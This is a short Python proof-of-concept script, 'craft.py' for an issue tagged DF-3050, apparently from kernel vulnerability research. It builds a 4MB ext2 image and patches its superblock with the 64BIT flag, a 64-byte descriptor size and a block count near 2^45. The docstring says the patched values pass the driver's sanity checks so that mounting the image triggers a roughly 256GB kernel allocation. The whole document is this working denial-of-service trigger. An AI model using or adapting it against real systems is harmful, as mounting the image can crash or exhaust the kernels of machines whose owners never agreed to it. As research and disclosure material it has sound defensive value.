DF-3050 / craft.py
#!/usr/bin/env python3 """Craft the DF-3050 trigger image: 64BIT feature + desc_size=64 + a s_blocks_count of ~2^45 that passes every ext2_compute_sb_data check, so the mount path reaches kmalloc(gdbcount_alloc * bsize) with gdbcount_alloc ~ 2^28 => ~256GB kernel allocation attempt from a 4MB image. Usage: craft.py <out.img> """ import struct, subprocess, sys SB_OFF = 1024 def rd(f, off, n): f.seek(off); return f.read(n) def u32(b, o): return struct.unpack_from('<I', b, o)[0] def u16(b, o): return struct.unpack_from('<H', b, o)[0] def p32(b, o, v): struct.pack_into('<I', b, o, v) def p16(b, o, v): struct.pack_into('<H', b, o, v) def main(out): subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024', '-I', '128', '-O', '^metadata_csum', out, '4096'], check=True) f = open(out, 'r+b') sb = bytearray(rd(f, SB_OFF, 1024)) assert u16(sb, 0x38) == 0xEF53 bpg = u32(sb, 0x20) assert bpg == 8192, bpg # bsize*8 for 1K blocks # gcount = howmany(bcount - 1, 8192) must be <= 2^32 - 16 # bcount = 2^45 - 2^22 -> gcount = 2^32 - 512 p32(sb, 0x04, 0xC0000000) # s_blocks_count_lo p32(sb, 0x150, 0x7FF) # s_blocks_count_hi p32(sb, 0x08, 0) # s_r_blocks_count_lo p32(sb, 0x154, 0) # s_r_blocks_count_hi p32(sb, 0x0C, 0) # s_free_blocks_count_lo p32(sb, 0x158, 0) # s_free_blocks_count_hi inc = u32(sb, 0x60) | 0x80 # EXT2F_INCOMPAT_64BIT p32(sb, 0x60, inc) p16(sb, 0xFE, 64) # s_desc_size == 64 (required with 64BIT) f.seek(SB_OFF); f.write(sb); f.close() print("OK: 64BIT fs, bcount=0x7FFC00000000, gcount=2^32-512, " "gd kmalloc = ~256GB") print(f"wrote {out}") if __name__ == '__main__': main(sys.argv[1]) |